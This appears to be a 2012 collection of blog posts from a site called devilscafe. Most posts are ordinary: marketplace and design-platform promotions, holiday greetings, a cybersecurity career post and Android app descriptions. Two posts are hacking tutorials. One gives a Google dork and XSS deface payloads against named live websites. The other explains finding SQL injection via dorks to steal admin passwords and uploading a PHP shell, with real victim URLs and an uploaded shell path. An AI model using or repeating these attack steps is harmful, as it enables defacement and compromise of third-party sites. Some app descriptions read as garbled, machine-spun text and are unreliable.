• You can control your selling, buying, and community activity in My OLX
• You would be able to display your ads on your social networking profile (Facebook, Myspace, …)
• Mobile ready:allows you to access the site from your mobile phone
• The main thing is that if you don’t know English then you can switch to any other language you want.

Have a Question That OLX.IN Is a Trusatable Company ?
Definitely yes. If you are an Indian internet users who don’t believe in local companies when it comes to anything online then you would be relieved to know that OLX.IN is not a local Indian company, in fact OLX was created in Argentina in 2006 and at present OLX deals with more than 96 countries.

So, OLX is the best place to buy and sell things easily in INDIA

`
OLX.IN ADS

OLX.IN offers very interesting ADS which force the buyer to Buy things. Most of us have seen many Advertisements on TV which look somewhat Different Than any other TV Advertisements.

With the institutional campaign “Where Buyers Meet Sellers” OLX.In has been rigorously showing ads on TV in India since 2011.Their TV Ad campaigns are funny and normally depicts how people are willing to sell almost anything if they get a right price for it on OLX.IN. Below is a funny ad for you,hope you enjoy it

Happy Diwali 2012 - The Festival of Lights

2012-11-10T10:47:00.000-08:00

From Today on, there will never be darkness in your life. Open your eyes to Possibilities.
Never think Negative as that will only bring you down.
Imagine Peace, Love, Happiness and Brightness, and watch your Life become how you want
it to be.
you are who you are. don't change for anyone, however the situation may be in the future,
Just Don't Forget who you are where you came from, I wish you only the Best .
HAPPY DIWALI !!

For Diwali Pictures and wallpapers click here

DesignCrowd - India's online Marektplace for Graphic Design

2012-11-09T11:31:00.001-08:00

Looking for a Logo for your Brand or Company ?? but don't have enough budget to pay Professional Designers ?? Don't Worry.. "Design crowd" Brings you a Muti Choice Solution.yes its true "Design Crowd" is a Platefome whereas Client and designers interact with each other in Worlds any corner that included Web designers,Logo Designers,T-shirts Designers and Other Creative Stuffs.

"DesignCrowd" is the Replica of Such Wonderful Platform that Create a Bridge Between Clients and designers across the world.
So if You Have any Project Such as Logo designing or web designing and you want to accomplish it in best way with affordable or cheaper cost. then just register your self and put your project requierment details in "Post Project" Section and decide a deadline for your project.
now just wait untill u'll get a cheaper and Skilled or perfact designer for your project.

DesignCrowd For Bloggers

Very Low Budget in compared to local designers.

Thousends of options are available to choose Designs

100% money back guarantee if you are not much satisfied.

Quality is assured. Designers from all over the world compete together and as a result the outcome is always best.

You can hire any designer which you want to and you can even look out their portfolio.

You can your use credit/debit card for payments. PayPal is also supported.

DesignCrowd For Designers

usingdesigncrowd for Graphic Designers is simple and easy, Goto website and Post your design Project and . Specify your budget, and add some other instructions about it.

Dollars will be payable to all the designers so designers can get more profit rather than Indian ruppee for their work.

many online logo design contests held everyday . so if you are a designer you have a chance to earn upto 400$ for each Contest.

DesignCrowd support Best payment gateway so there might nt be any truble in accepting payments for Contestent or Designer.

Give wings to Your Passion, Build Your Future as Cyber Security Expert

2012-11-07T10:31:00.000-08:00

Do you enjoy working at late night?
Do you taking challenges?
Do you never give up a problem until it is resolved completely?
Are you update yourself with Latest Technology?

If your answer is yes, then Cyber Security Field can compilment your skills,
its one of the most challenging Field, if you you solve these challenges with enjoyment then if can be a rewarding field for you.

Cyber Security expert ! why ???

If you are interested in moving into a growing Information/cyber security job market, you may want to consider cyber and Network security. The best way to move into one of these Iinformation security roles is to get training. You may want to consider our cyber security fundamentals training class. This class will provide you with a high level view of the cyber security field. You will learn skills you need and perform a variety of hands-on labs to obtain skills you can use that will lead you on the path to become a Cyber Security Expert.

carrier in Ethical Hacking and Cyber Security

Cyber security/network administration is ranked as one of the ﬁve fastest growingcareers
by the U.S. Bureau of LaborStatistics. There are too many companies giving opportunities in cyber security.
e-commerce, e-governence, e-learning and bankings is depend on information solutions, thats why now Companies are alert about cyber attacks, and statrted Hiring Ethical Hackers and Cyber security Experts.

Best Cyber Security and anti Hacking Institutes in India

Institute	Course	Eligibility
Department of Criminology, University of Madras	Msc in Cyber Forensics and information security	Graduate in computer app. CS ot IT, or law diploma in Cyber crime and information security
Gujrat Forensic Sciences university	MS digital Forensic and information assurance	Computer science or BE (Computer/IT) or B.Tech
KJ SIMSR, Mumbai	PG programmer in information security management	B.sc (CS)/BCA/B.tech (CS) B.Tech (IT)
Indira Gandhi National Open University	PG programmer in information security	B.sc (CS)/BCA/B.tech (CS)
IIIT Allahabad	MS Cyber law and information Security	BE/B.tech/Post Graduate, Bachelor in Law
Manipal University	Certificate in Ethcial Hacking and Information Security	B.E, B.tech ME, M.tech, MCA, BCA
CDAC Hydrabad	Certificate in Network and systems Security	Engineering in Electronics/ Electrical Comm./ CS/ IT,

Happy Eid Al-Adha 2012

2012-10-26T00:29:00.000-07:00

Eid Mubarak To all my brothers and sisters,
May the blessing of Allah (S.TW.) bright the days ahead and may joy and peace fill your heart in the sweetest ways.

May this Eid be one of the happiest days. Eid Mubarak to you and your family! Hope you all have a wonderful day!

Take Care :)

error.php XSS (cross Site Scripting) Vulnerabilities

2012-10-24T08:40:00.001-07:00

error.php XSS (cross Site Scripting) Vulnerabilities

Title : error.php XSS
Risk : Cross site scripting, cookie Grabbing
Poc : error.php?error=
Dork : "inurl:error.php?error="
Author : Minhal Mehdi
browser : Mozilla Firefox

Lets Start Goto Google, and say hello To Google !

now type the dork "inurl:error.php?error="

in search results ignore all the extra results with diffrent url Like : error-php-error.php

pick site with url www.site.com/error.php?error= Only
Now Type your first Tag to Check the vulnerablity

example : www.site.com/error.php?error=<h1>Test</h1>

if it will show you "Test" word in Header tag this Its Vulnerable
I got This website from Search results, so now see some examples :
To show Header
http://www.sacareerfocus.co.za/error.php?error=<h1>Hacked</h1>

To show header in center
http://www.sacareerfocus.co.za/error.php?error=<center><h1>Hacked</h1></center>
to show Title

http://www.sacareerfocus.co.za/error.php?error=<title>Hacked</title>
to Add a Image
http://www.sacareerfocus.co.za/error.php?error=<img src="http://3.bp.blogspot.com/-EtkPBc32dF0/UIgFEjw-cuI/AAAAAAAABGM/eIdp8Qg0hUg/s640/cats.jpg"/>
to add a Message

http://www.sacareerfocus.co.za/error.php?error=<p><b>Your Message Here<b></p>
to write message in next lines
http://www.sacareerfocus.co.za/error.php?error=<p><b>First line<br>Second Line <b></p>

To add a scrolling Text

http://www.sacareerfocus.co.za/error.php?error=<marquee>Scrolling text Here</marquee>

To Add a alert box

http://www.sacareerfocus.co.za/error.php?error=<script>alert("hello");</script>

To add background colour in page

http://www.sacareerfocus.co.za/error.php?error=<body bgcolor="red"/>
to Add a full deface Page

http://www.sacareerfocus.co.za/error.php?error=<title>Hacked</title><center><h1>hacked<h1><body bgcolor="red"/><p><b>You have been Hacked<br></b></p><img src="http://t0.gstatic.com/images?q=tbn:ANd9GcTN4uz2ifRTDefV_N7O2ZLEnyNfWb5TooIwqmZSwxOe_XH-8FksHA"/>

<marquee><b>www.devilscafe.in</b></marquee>

you can add more html and javscript tags here,
here is another demo site :

http://europeanvaluepartneradvisors.com/error.php?error=<center><h1>www.devilscafe.in</h1></center>
find More website with dorks :)
please Leave a comment and share post to show your love For devilscafe !

"Custom Upload" Sql injection remote php shell upload vulnreblity

2012-10-24T04:24:00.000-07:00

"Custom Upload" remote php shell upload vulnreblity

Google Dork : inurl:customupload.html

Poc : fileupload.html

Author : NoEntryPhc

SQL injection vulnreblity :
Goto Google.com and Type this dork : inurl:customupload.html now see results

you'll get something like this http://www.site.com/customupload.html?category=5

now simple put ' sign to check SQL injection vulnreblity

if any error like Warning: Mysql then its vulnreable to Sql injection, now get admin password with Manuall sql injection or use any tool like Havij, SQLMap

Remote Shell Upload vulnreblity

Goto Google.com and Type dork inurl:customupload.html and check Search results

Goto site, n fill details like first name last name email ( dont't fill real info here)

now in attachment upload your php shell

To view your uploaded files Goto /fileuploads/ directory and check your file there

Live Demo :

http://www.choiceprintings.com/fileupload.html

http://www.copyplusus.com/fileupload.html

Result :
http://www.choiceprintings.com/fileuploads/hahashellphp%5e131.php

5 Must Have Android Apps for Techies

2012-10-22T10:19:00.002-07:00

Today, Almost everyone own a android phone and there are a number of apps for their phones.Most of peoples get confuse to choose some best Android apps for their android phone.

Some peoples don;t like games and other entertaiment thing but they want some apps to make their work done more effeciently.

Well today here i'm going to post top 6 and best android apps you must have. Every app is unique and best for your android smart phone, You can see the list below.

1 : Beautiful Widgets

it is a best app for your smartphone which make your mobile phone more smarter, It make a professional look to your android phone and make it best at all. Not to brag about this app but this is a best app for android to make it better looking.

Features:
- Super Clock HD widget with weather, battery or just the clock 4x3 4x2 4x1 2x1 5x3

- Weather only widget 4x1 1x1

- Battery widget 1x1

- Date widget 2x1 1x1

- Text Clock simple widget 2x1

- Toggles widgets 1x1

- Home widgets with clock and weather and 300 skins 4x1 2x1

2 :OfficeSuite Pro for Android

OfficeSuite Pro for Android operating system has a Computer file Web browser and incorporation with Discussing Service Leaders: Box, DropBox, Google Documents, SkyDrive and SugarSync - to give customers lots of options on how to handle information and accessories.

OfficeSuite Pro is a leading-edge office efficiency application that has been selected to be pre-loaded onto over 50 thousand (and counting) gadgets globally by such famous producers like Panasonic Ericsson, Alcatel, FoxConn, Archos, Pandigital, Polaroid, Olivetti, Coby and a variety of other major gamers in the Android operating system Mobile Device market.

3 : Skype for android

Free voice and video phone calls to anyone on Skype, whether they are on an Android operating system, iPhone, Mac or PC, as well as IMs to your friends and family,

Features:

- Skype to Skype IMs, video and speech phone calls are free* over 3G or WiFi.

- Make low-cost phone calls and SMS to cell phones or land lines from your Android operating system.

- Send images, video clips and information to any of your connections.

- Enjoy high-quality sound when you call anyone else on Skype.

- Talk experience to deal with or show what you are seeing with front and rear-facing camcorders.

4: SwiftKeys 3 keyboard

SwiftKey 3 is aware of how terms work together, giving much more precise improvements and forecasts than other computer keyboard. Very slack entering will amazingly sound right, even if you skip areas, and SwiftKey 3 also forecasts your next terms.

· New Features Added

* smart space – including to SwiftKey’s already innovative modification, Intelligent Area finds mistyped or remaining out areas across post of sloppily entered terms in real-time.

* Two new styles – a new concept, ‘Cobalt’, to go with SwiftKey’s new overall look and feeling, and an Ice Lotion Sandwich-styled ‘Holo’ concept, as elected for by SwiftKey’s VIP group.

* An improved UI – a much bigger space bar and smart punctuation key help enhance precision and create it fast and accessible typical punctuation. Just tap and fall remaining on the interval for exclamation factor, or tap and fall right for query level. No need to long-press.

* Extra languages – SwiftKey 3 now provides assistance for one more seven dialects, providing the complete up to 42. The new dialects are Japanese, Estonian, Farsi, Icelandic, Latvian, Lithuanian and Serbian. And of course, you can still allow up to three at once.

5 : Bridge constructor - The #1 challenge and best game now on Android

Construct a link with different components, put it to the test using pickups and vehicles, and discover the next brain-teasing level!

Explore the beautiful isle country of Camatuga and develop connects over deep valleys, pathways, or waterways. Pressure assessments expose whether the connects you develop can hold up against the daily stress of constant use from pickups and vehicles.

You can choose between a range of components for each individual link, such as wood, metal, cords, or tangible support beams. Use the appropriate components and stay within funds to create the perfect link. Thanks to the choice of components, you can develop each link in any plethora of possibilities – your funds is the only limit. Set your creativeness and creativeness free in this fun science challenge and simulator game!

Well if sometime your samsung galaxy s3 locks then we have great solution for you. Check here if you want to know how to unlock samsung galaxy s2